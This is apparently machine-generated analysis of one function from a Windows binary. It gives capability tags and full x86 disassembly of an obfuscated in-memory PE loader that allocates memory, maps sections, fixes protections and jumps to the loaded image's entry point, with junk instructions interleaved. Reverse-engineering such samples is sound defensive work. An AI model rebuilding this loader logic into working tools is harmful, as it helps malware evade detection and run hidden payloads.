Function at 0x452688
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404858
mov eax, dword [ebp - 8]
call fcn.00404858
mov esi, 0x455bd8
mov edi, 0x455bdc
xor eax, eax
push ebp
push 0x452a6d
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00451e88
mov edx, dword [ebp - 0xc]
mov eax, 0x455ba4
call fcn.004043fc
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.00408494
mov ecx, eax
mov edx, dword [0x455ba4]
xor eax, eax
call fcn.0045258c
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00451e20
mov edx, dword [ebp - 0x10]
mov eax, 0x455c2c
call fcn.004043fc
mov eax, 0x455c2c
call fcn.004048c0
mov dword [0x455c28], eax
push eax
pop edx
push 0x31
push edx
pop ebx
dec ecx
cmp eax, 0x4f
push ebx
cmp ecx, 0x22
imul ebx, ecx
mov eax, dword [0x455c28]
xor edx, edx
push edx
push eax
mov eax, dword [0x455c28]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [0x455bd0], eax
lea eax, [edx + 0x221]
push 0x37
cmp eax, 0x20
sub edx, eax
cmp ecx, 0x62
add ebx, eax
test edx, 0x40
mov ecx, ebx
push 1
push 0x2000
mov eax, dword [0x455bd0]
mov eax, dword [eax + 0x50]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [0x455bc8], eax
imul eax, eax, 0x1a6
test edx, 5
add ebx, edx
inc edx
xchg ecx, ebx
push 0x1b
pop edx
lea eax, [ebx + 0x38f]
mov eax, dword [0x455bd0]
mov edx, dword [0x455bc8]
sub edx, dword [eax + 0x34]
mov dword [0x455bcc], edx
lea edx, [eax + eax]
lea eax, [edx + 0x292]
push 0x43
pop edx
push ebx
pop eax
lea ecx, [ebx + 0x3d]
push edx
pop eax
push 4
push 0x1000
mov eax, dword [0x455bd0]
mov eax, dword [eax + 0x54]
push eax
mov eax, dword [0x455bc8]
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov dword [edi], eax
lea edx, [ecx + 0x1d1]
push 0x60
pop eax
cmp ebx, 0x29
add eax, 0x3b0
push eax
pop eax
xor ebx, 0x125
push ecx
pop ebx
mov edx, 0x1af
mov eax, dword [0x455bd0]
mov ecx, dword [eax + 0x54]
mov edx, dword [edi]
mov eax, dword [0x455c28]
call fcn.00402c48
cmp eax, 0x20
mov edx, ecx
push ecx
test ecx, 0x60
lea eax, [ebx + 0x3bb]
add ecx, eax
lea eax, [eax + ebx]
push eax
push ecx
pop ecx
push 0x10
pop ebx
push 0x455be8
push 2
mov eax, dword [0x455bd0]
mov eax, dword [eax + 0x54]
push eax
mov eax, dword [edi]
push eax
call sub.kernel32.dll_VirtualProtect
inc edx
push ebx
lea edx, [ecx + ebx]
inc eax
lea eax, [edx + 0x2fe]
inc edx
lea edx, [ebx + 0x76]
push eax
mov eax, dword [0x455bd0]
add eax, 0x18
mov edx, dword [0x455bd0]
movzx edx, word [edx + 0x14]
add eax, edx
mov dword [0x455bd4], eax
mov ebx, 0xf1
push 0x4a
pop ebx
lea ebx, [edx + 0x2c8]
push 0x5f
pop edx
push ebx
pop ebx
mov ebx, edx
test ecx, 0x17
dec eax
mov eax, dword [0x455bd0]
movzx ebx, word [eax + 6]
dec ebx
test ebx, ebx
jl 0x45293f
inc ebx
mov dword [esi], 0
nop
mov eax, dword [esi]
lea eax, [eax + eax*4]
mov edx, dword [0x455bd4]
mov eax, dword [edx + eax*8 + 8]
mov dword [0x455be0], eax
nop
nop
mov eax, dword [esi]
lea eax, [eax + eax*4]
mov edx, dword [0x455bd4]
mov eax, dword [edx + eax*8 + 0x10]
mov dword [0x455be4], eax
nop
nop
push 4
push 0x1000
mov eax, dword [0x455be0]
push eax
mov eax, dword [esi]
lea eax, [eax + eax*4]
mov edx, dword [0x455bd4]
mov eax, dword [edx + eax*8 + 0xc]
add eax, dword [0x455bc8]
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov dword [edi], eax
nop
mov eax, dword [edi]
xor ecx, ecx
mov edx, dword [0x455be0]
call fcn.0040304c
nop
nop
mov eax, dword [esi]
lea eax, [eax + eax*4]
mov edx, dword [0x455bd4]
mov eax, dword [edx + eax*8 + 0x14]
add eax, dword [0x455c28]
mov edx, dword [edi]
mov ecx, dword [0x455be4]
call fcn.00402c48
inc dword [esi]
dec ebx
jne 0x4528ab
nop
nop
mov eax, dword [0x455bd0]
mov eax, dword [eax + 0x28]
add eax, dword [0x455bc8]
mov dword [0x455bf0], eax
nop
mov eax, dword [0x455bc8]
mov dword [0x455bec], eax
nop
nop
push 0
mov eax, 0x455bf4
mov ecx, 1
mov edx, dword [0x451f48]
call fcn.00405478
add esp, 4
nop
nop
nop
mov eax, dword [0x455bd0]
mov eax, dword [eax + 0xa0]
add eax, dword [0x455bc8]
call fcn.00452188
nop
nop
nop
nop
nop
mov eax, dword [0x455bd0]
mov eax, dword [eax + 0x80]
add eax, dword [0x455bc8]
call fcn.0045227c
nop
nop
nop
mov eax, dword [0x455bd0]
movzx ebx, word [eax + 6]
dec ebx
test ebx, ebx
jl 0x452a07
inc ebx
mov dword [esi], 0
nop
nop
nop
push 0x455be8
mov edi, dword [esi]
lea edi, [edi + edi*4]
mov eax, dword [0x455bd4]
mov eax, dword [eax + edi*8 + 0x24]
call fcn.00452474
push eax
mov eax, dword [0x455bd4]
mov eax, dword [eax + edi*8 + 8]
push eax
mov eax, dword [0x455bd4]
mov eax, dword [eax + edi*8 + 0xc]
add eax, dword [0x455bc8]
push eax
call sub.kernel32.dll_VirtualProtect
inc dword [esi]
dec ebx
jne 0x4529c7
push ecx
pop eax
lea edx, [ecx + 0x45]
xchg edx, eax
push ebx
pop edx
add eax, 0x1ae
xor ebx, 0x69
push 0
push 1
mov eax, dword [0x455bc8]
push eax
call dword [0x455bf0]
sub eax, 0x22a
cmp edx, 0x20
mov ebx, ecx
push ebx
push ebx
pop eax
dec eax
push 0x38
mov eax, dword [0x455bd0]
mov edx, dword [eax + 0x7c]
mov eax, dword [0x455bd0]
mov eax, dword [eax + 0x78]
add eax, dword [0x455bc8]
call fcn.00452128
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452a74
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004043cc
ret